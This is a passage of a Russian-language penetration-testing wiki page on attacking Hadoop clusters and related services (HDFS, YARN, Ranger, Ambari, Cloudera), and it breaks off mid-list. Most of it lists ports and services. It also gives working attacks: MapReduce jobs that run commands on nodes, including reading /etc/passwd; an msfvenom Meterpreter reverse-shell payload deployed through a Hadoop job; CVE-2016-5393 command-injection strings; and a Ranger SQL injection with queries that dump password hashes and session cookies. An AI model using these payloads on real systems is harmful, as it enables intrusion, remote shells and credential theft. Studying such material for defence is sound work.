&lt;br /&gt;
&lt;br /&gt;
Важно! Чтобы запросить ключ у KMS, в случае использования Access Control List (ACL) нужны привилегии.&lt;br /&gt;
&lt;br /&gt;
== Поиск сервисов ==&lt;br /&gt;
&lt;br /&gt;
=== nmap ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
nmap -sV -Pn --open -v -p ПОРТЫ_ТУТ --scripts &amp;quot;*hadoop* or *hbase* or *flum*&amp;quot; АДРЕСА&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Общие атаки ==&lt;br /&gt;
&lt;br /&gt;
=== Node RCE ===&lt;br /&gt;
&lt;br /&gt;
Для этого требуется получить конфиг и настроить hadoop cli.&lt;br /&gt;
&lt;br /&gt;
path_to_hadoop_streaming.jar - файл, который развертывается на нодах. Обычно он уже есть в установленном hadoop-cli по адресу /share/hadoop/tools/lib/hadoop-streaming-2.7.3.jar&lt;br /&gt;
&lt;br /&gt;
Создаем задачу MapReduce:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
 hadoop jar &amp;lt;path_to_hadoop_streaming.jar&amp;gt; \&lt;br /&gt;
-input /non_empty_file_on_HDFS \&lt;br /&gt;
-output /output_directory_on_HDFS \&lt;br /&gt;
-mapper &amp;quot;/bin/cat /etc/passwd&amp;quot; \&lt;br /&gt;
-reducer NONE&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Читаем результат команды:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
hadoop fs –ls /output_directory_on_HDFS&lt;br /&gt;
hadoop fs –cat /output_directory_on_HDFS/part-00000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Также результат команды можно увидеть в WebUI в консоли созданной задачи.&lt;br /&gt;
&lt;br /&gt;
Из интересного: нельзя выбрать ноду, на которой запускается задача. Поэтому требуется запускать команду много раз, пока она не запустится на нужной.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Бонус: эксплоит можно сгенерировать с msfvenom:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.38.1 -f elf -o msf.payload&lt;br /&gt;
&lt;br /&gt;
hadoop jar &amp;lt;path_to_hadoop_streaming.jar&amp;gt;&lt;br /&gt;
-input /non_empty_file_on_HDFS \&lt;br /&gt;
-output /output_directory_on_HDFS \&lt;br /&gt;
-mapper &amp;quot;./msf.payload&amp;quot; \&lt;br /&gt;
-reducer NONE \&lt;br /&gt;
-file msf.payload \&lt;br /&gt;
-background&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== RCE - CVE-2016-5393 ===&lt;br /&gt;
&lt;br /&gt;
'''Уязвимая версия:''' Hadoop 2.6.x &amp;lt; 2.6.5 and 2.7.x &amp;lt; 2.7.3&lt;br /&gt;
&lt;br /&gt;
'''Требования:''' должен быть авторизован и у кластера должны быть включены параметры &amp;quot;org.apache.hadoop.security.ShellBasedUnixGroupsMapping&amp;quot; и &amp;quot;hadoop.security.group.mapping&amp;quot; (конфиг core-site.xml) &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cуть в том, что функция получения групп для пользователя не экранирует специальные символы и вставляет строку в &amp;quot;bash -c&amp;quot;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
hdfs groups '$(ping 127.0.0.1)'&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Второй вариант - через WebHDFS. Но для этого требуется &amp;quot;Simple Auth&amp;quot;:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
.../?user.name=$(ping+127.0.0.1)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Hadoop%20components%20vulnerabilities/Hadoop%20Common/CVE-2016-5393%20-%20Authenticated%20command%20execution%20as%20the%20hdfs%20user&lt;br /&gt;
&lt;br /&gt;
= HDFS =&lt;br /&gt;
&lt;br /&gt;
HDFS (Hadoop FileSystem) - это виртуальная файловая система Hadoop, доступная по сети.&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== MasterNode (NameNode) WebUI ===&lt;br /&gt;
&lt;br /&gt;
Это веб-интерфейс, запущенный на портах 50070(http) и 50470(https). Обычно на нем отсутствует аутентификация, поэтому его можно использовать для доступа к файловой системе.&lt;br /&gt;
&lt;br /&gt;
Основная страница доступна по адресу /explorer.html, а при выборе даты перенаправляет на соответствующую DataNode (порт 50075).&lt;br /&gt;
&lt;br /&gt;
=== MasterNode Metadata Service ===&lt;br /&gt;
&lt;br /&gt;
Использует протокол IPC  на  портах 8020 и 9000. Требуется для взаимодействия с метадатой файлов HDFS.&lt;br /&gt;
&lt;br /&gt;
Команды для взаимодействия:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Получение списка файлов (и их метадаты)&lt;br /&gt;
hadoop fs -ls /tmp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DataNode WebUI ===&lt;br /&gt;
&lt;br /&gt;
Веб-интерфейс для доступа к статусу, логам и тд. Запускается на 50075(http) и 50475(https) портах.&lt;br /&gt;
&lt;br /&gt;
Доступно по пути /browseDirectory.jsp&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== hdfsbrowser.py ====&lt;br /&gt;
Для взаимодействия с ним можно воспользоваться скриптом https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Tools%20Techniques%20and%20Procedures/Browsing%20the%20HDFS%20datalake :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# В скрипте также можно указать порт, протокол&lt;br /&gt;
python hdfsbrowser.py 10.10.10.10&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Интересно, что утилита автоматически подставляет нужного пользователя - владельца файла или ноды.&lt;br /&gt;
&lt;br /&gt;
==== hadoop cli ====&lt;br /&gt;
&lt;br /&gt;
Для получения списка файлов требуется в переменной окружения &amp;quot;HADOOP_USER_NAME&amp;quot; указать нужного пользователя, например, root или hbase:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
export HADOOP_USER_NAME=hbase&lt;br /&gt;
hadoop fs -ls /hbase&lt;br /&gt;
hadoop fs –cat /output_directory_on_HDFS/part-00000&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Для этого может потребоваться конфиг hadoop (в основной главе)&lt;br /&gt;
&lt;br /&gt;
=== DataNode Data Transfer ===&lt;br /&gt;
&lt;br /&gt;
Сервис для передачи данных в DataNode. Использует порт 50010&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
# Отправить файл на HDFS&lt;br /&gt;
hadoop fs -put &amp;lt;localfile&amp;gt; &amp;lt;remotedst&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== DataNode Metadata Service ===&lt;br /&gt;
&lt;br /&gt;
Использует протокол IPC на порту 50020. Требуется для взаимодействия с метадатой файлов HDFS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Secondary Node Checkpoint Service (Secondary NameNode WebUI) ===&lt;br /&gt;
&lt;br /&gt;
Запущен на порту 50090 по протоколу http. Как понял используется для сохранения данных метадаты (запасное хранилище).&lt;br /&gt;
&lt;br /&gt;
= YARN =&lt;br /&gt;
&lt;br /&gt;
== Интерфейсы (сервисы) ==&lt;br /&gt;
&lt;br /&gt;
=== Application Manager ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8032 &lt;br /&gt;
&lt;br /&gt;
Протокол: http&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.address&lt;br /&gt;
&lt;br /&gt;
=== Scheduler ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8030&lt;br /&gt;
&lt;br /&gt;
Протокол: http&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.scheduler.address&lt;br /&gt;
&lt;br /&gt;
=== ResourceManager Web Application ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8088, 8090&lt;br /&gt;
&lt;br /&gt;
Протокол: http(8088), https(8090)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.webapp.address, yarn.resourcemanager.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
=== ResourceManager Tracker ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8031&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.resource-tracker.address&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== ResourceManager Admin ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8033&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.resourcemanager.admin.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager СontainerManager ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 0&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.nodemanager.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager Localizer ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8040&lt;br /&gt;
&lt;br /&gt;
Протокол: ??? (IPC)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.nodemanager.localizer.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager Collector Service ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8048&lt;br /&gt;
&lt;br /&gt;
Протокол: ??? (IPC)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.nodemanager.collector-service.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8042, 8044&lt;br /&gt;
&lt;br /&gt;
Протокол: http(8042), https(8044)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.nodemanager.webapp.address, yarn.nodemanager.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager Timeline RPC ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 10200&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.timeline-service.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager Timeline WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8188, 8190&lt;br /&gt;
&lt;br /&gt;
Протокол: http(8188), https(8190)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.timeline-service.webapp.address, yarn.timeline-service.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
=== SharedCacheManager Admin ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8047&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.sharedcache.admin.address&lt;br /&gt;
&lt;br /&gt;
=== SharedCacheManager WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8788&lt;br /&gt;
&lt;br /&gt;
Протокол: ???(http)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.sharedcache.webapp.address&lt;br /&gt;
&lt;br /&gt;
=== SharedCacheManager Node Manager ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8046&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге:  yarn.sharedcache.uploader.server.address&lt;br /&gt;
&lt;br /&gt;
=== SharedCacheManager Client ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8045&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.sharedcache.client-server.address&lt;br /&gt;
&lt;br /&gt;
=== NodeManager AMRMProxyService ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8049&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.nodemanager.amrmproxy.address&lt;br /&gt;
&lt;br /&gt;
=== Router WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 8089, 8091&lt;br /&gt;
&lt;br /&gt;
Протокол: http(8089), https(8091)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр в конфиге : yarn.router.webapp.address, yarn.router.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
=== HttpFS (Hadoop HDFS over HTTP) ===&lt;br /&gt;
&lt;br /&gt;
Порт(tcp): 14000, 14001&lt;br /&gt;
&lt;br /&gt;
Протокол: http(14000), 14001(https)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
= Apache HBASE =&lt;br /&gt;
&lt;br /&gt;
= ZooKeeper =&lt;br /&gt;
&lt;br /&gt;
= Apache Ambari =&lt;br /&gt;
&lt;br /&gt;
Нужен для упрощения управления кластерами Hadoop, используя WebUI. Есть возможность интегрироваться с другими приложениями по REST API.&lt;br /&gt;
&lt;br /&gt;
Из интересного:&lt;br /&gt;
&lt;br /&gt;
- Все могут авторизоваться (даже стандартные юзеры)&lt;br /&gt;
&lt;br /&gt;
- Нет защиты (directory listing, no cookie flags, no CSRF)&lt;br /&gt;
&lt;br /&gt;
- CVE-2015-1775 - /logs/ логи&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== WebUI ===&lt;br /&gt;
&lt;br /&gt;
Общение по протоколу http (порт 8080) и https (порт 8440). &lt;br /&gt;
&lt;br /&gt;
=== Registration/Heartbeat ===&lt;br /&gt;
&lt;br /&gt;
Общение по протоколу https на порту 8441.&lt;br /&gt;
&lt;br /&gt;
=== Agent ===&lt;br /&gt;
&lt;br /&gt;
Порт 8670/tcp используется для Ping.&lt;br /&gt;
&lt;br /&gt;
= Apache Spark =&lt;br /&gt;
&lt;br /&gt;
= Apache Kafka/Storm =&lt;br /&gt;
&lt;br /&gt;
= Apache HIVE / DRILL =&lt;br /&gt;
&lt;br /&gt;
= Mahout =&lt;br /&gt;
&lt;br /&gt;
= Apache Solr / Lucene = &lt;br /&gt;
&lt;br /&gt;
= Apache Ranger =&lt;br /&gt;
&lt;br /&gt;
Компонент безопасности Hadoop с открытым исходным кодом.&lt;br /&gt;
&lt;br /&gt;
Из интересного:&lt;br /&gt;
&lt;br /&gt;
- Поддержка Kerberos&lt;br /&gt;
&lt;br /&gt;
- REST API&lt;br /&gt;
&lt;br /&gt;
- Журналы аудита&lt;br /&gt;
&lt;br /&gt;
- Модель разрешений на основе политики доступа (политики, юзеры, группы)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Интересные ИБ-проблемы:&lt;br /&gt;
&lt;br /&gt;
- Slow HTTP DOS&lt;br /&gt;
&lt;br /&gt;
- Все юзеры могут авторизоваться в Ranger (но не все - выполнять действия)&lt;br /&gt;
&lt;br /&gt;
- CVE-2015-0266 - Missing function level access control, можно использовать для повышения привилегий&lt;br /&gt;
&lt;br /&gt;
- CVE-2015-0265 - XSS в UserAgent&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
TODO: изучить как работает&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
https://ranger.apache.org/apidocs/index.html - API документация&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== Admin  WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт: 6080, 6182&lt;br /&gt;
&lt;br /&gt;
Протокол: http(6180),https(6182)&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: ranger.service.http.port, ranger.service.https.port&lt;br /&gt;
&lt;br /&gt;
==== Уязвимости ====&lt;br /&gt;
&lt;br /&gt;
* Скачивание политик без аутентификации. Но нужно знать имя политики. (версия меньше или равна 0.5.2)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/service/plugins/policies/download/&amp;lt;policy_name&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Third-party%20modules%20vulnerabilities/Apache%20Ranger/Unauthenticated%20policy%20download&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-2174 - SQL injection.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/service/plugins/policies/eventTime?eventTime=' or '1'='1&amp;amp;policyId=1&lt;br /&gt;
&lt;br /&gt;
# post-exploitation: скачать хеши паролей пользователей (md5 или sha512):&lt;br /&gt;
select last_name, first_name, email, login_id, password, user_role from x_portal_user, x_portal_user_role where x_portal_user.id = x_portal_user_role.user_id limit 3&lt;br /&gt;
&lt;br /&gt;
# post-exploitation: скачать сессии(куки) пользователей):&lt;br /&gt;
select auth_time, login_id, ext_sess_id from x_auth_sess where auth_status = 1 or (login_id like '%admin%' and auth_status = 1) order by auth_time desc limit 3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Подробнее: https://github.com/wavestone-cdt/hadoop-attack-library/tree/master/Third-party%20modules%20vulnerabilities/Apache%20Ranger/CVE-2016-2174%20-%20Authenticated%20SQL%20injection&lt;br /&gt;
&lt;br /&gt;
===  UNIX Auth Service ===&lt;br /&gt;
&lt;br /&gt;
Порт: 5151&lt;br /&gt;
&lt;br /&gt;
Протокол: SSL/TCP&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: ranger.usersync.port&lt;br /&gt;
&lt;br /&gt;
===  Ranger KMS ===&lt;br /&gt;
&lt;br /&gt;
Порт: 9292, 9293&lt;br /&gt;
&lt;br /&gt;
Протокол: http(9292), https(9293)&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: ranger.service.http.port, ranger.service.https.port&lt;br /&gt;
&lt;br /&gt;
=== Solr Audit ===&lt;br /&gt;
&lt;br /&gt;
Порт: 6083, 6183&lt;br /&gt;
&lt;br /&gt;
Протокол: http(6083), https(6183)&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: ranger-admin (???)&lt;br /&gt;
&lt;br /&gt;
= OOZIE =&lt;br /&gt;
&lt;br /&gt;
Серверная система планирования рабочих процессов для управления заданиями Hadoop. Рабочие процессы в Oozie определяются как набор потоков управления и узлов действий в ориентированном ациклическом графе.&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== Web Console ===&lt;br /&gt;
&lt;br /&gt;
Порт: 11000, 11443&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP(11000), HTTPS(11443)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Admin service ==&lt;br /&gt;
&lt;br /&gt;
Порт: 11001&lt;br /&gt;
&lt;br /&gt;
Протокол: ???&lt;br /&gt;
&lt;br /&gt;
= PIG =&lt;br /&gt;
&lt;br /&gt;
= Apache Hue =&lt;br /&gt;
&lt;br /&gt;
Облачный редактор SQL с открытым исходным кодом. Упоминается тут тк часто используется вместе с Hadoop. Использует порт 8888 по протоколу HTTP. &lt;br /&gt;
&lt;br /&gt;
В старых версиях также присутствует DOM XSS, включена отладка, есть заголовок X-Frame-Options: ALLOWALL.&lt;br /&gt;
&lt;br /&gt;
= MapReduce =&lt;br /&gt;
&lt;br /&gt;
Модель распределённых вычислений от компании Google, используемая в технологиях Big Data для параллельных вычислений над очень большими (до нескольких петабайт) наборами данных в компьютерных кластерах, и фреймворк для вычисления распределенных задач на узлах (node) кластера&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== Jobhistory ===&lt;br /&gt;
&lt;br /&gt;
Порт: 10020&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.jobhistory.address&lt;br /&gt;
&lt;br /&gt;
=== JobTracker ===&lt;br /&gt;
&lt;br /&gt;
Порт: 8021&lt;br /&gt;
&lt;br /&gt;
Протокол: IPC&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapred.job.tracker&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Доступно только в MapReduce v1&lt;br /&gt;
&lt;br /&gt;
=== JobTracker WebUI v1 ===&lt;br /&gt;
&lt;br /&gt;
Порт: 50030&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapred.job.tracker.http.address&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Доступно только в MapReduce v1&lt;br /&gt;
&lt;br /&gt;
=== Jobhistory WebUI v2 ===&lt;br /&gt;
&lt;br /&gt;
Порт: 19888, 19890&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP(19888), HTTPS(19890)&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.jobhistory.webapp.address, mapreduce.jobhistory.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
Доступен только в MapReduce v2&lt;br /&gt;
&lt;br /&gt;
=== Jobhistory Shufflee ===&lt;br /&gt;
&lt;br /&gt;
Порт: 13562&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.shuffle.port&lt;br /&gt;
&lt;br /&gt;
=== Jobhistory Shufflee WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт: 19890&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTPS&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.jobhistory.webapp.https.address&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== TaskTracker WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт: 50060&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapred.task.tracker.http.address&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Доступно только в MapReduce v1&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== History Server WebUI ===&lt;br /&gt;
&lt;br /&gt;
Порт: 51111&lt;br /&gt;
&lt;br /&gt;
Протокол: HTTP&lt;br /&gt;
&lt;br /&gt;
Аутентификация: ???&lt;br /&gt;
&lt;br /&gt;
Параметр конфига: mapreduce.history.server.http.address&lt;br /&gt;
&lt;br /&gt;
= Cloudera =&lt;br /&gt;
&lt;br /&gt;
Экосистема Hadoop от компании Cloudera&lt;br /&gt;
&lt;br /&gt;
== Сервисы ==&lt;br /&gt;
&lt;br /&gt;
=== HUE ===&lt;br /&gt;
&lt;br /&gt;
Работает на порту 8888 по протоколу HTTP.&lt;br /&gt;
&lt;br /&gt;
==== Уязвимости ====&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-4947 - вычисление пользователей из непривилегированного аккаунта (версия меньше или равна 3.9.0):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/desktop/api/users/autocomplete&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* CVE-2016-4946 - хранимая XSS (версия меньше или равна 3.9.0). Находится во вкладке Hue Users - Edit user в полях First name и Last name.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Open redirect (версия меньше или равна 3.9.0).&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/accounts/login/?next=//[domain_name]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Manager ===&lt;br /&gt;
&lt;br /&gt;
Работает на порту 7180(http) и 7183(https).&lt;br /&gt;
&lt;br /&gt;
==== Уязвимости ====&lt;br /&gt;
&lt;br /&gt;
* Получение списка пользователей (версия меньше или равна 5.5)&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/api/v1/users&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Вычисление пользовательских сессий из непривилегированного аккаунта (CVE-2016-4950) (версия меньше или равна 5.5):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:auto&amp;quot; &amp;gt;&lt;br /&gt;
/api/v1/users/sessions&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Доступ к логам процесса(process_id можно перебрать) (версия меньше или равна 5.5):&lt;br /&gt;
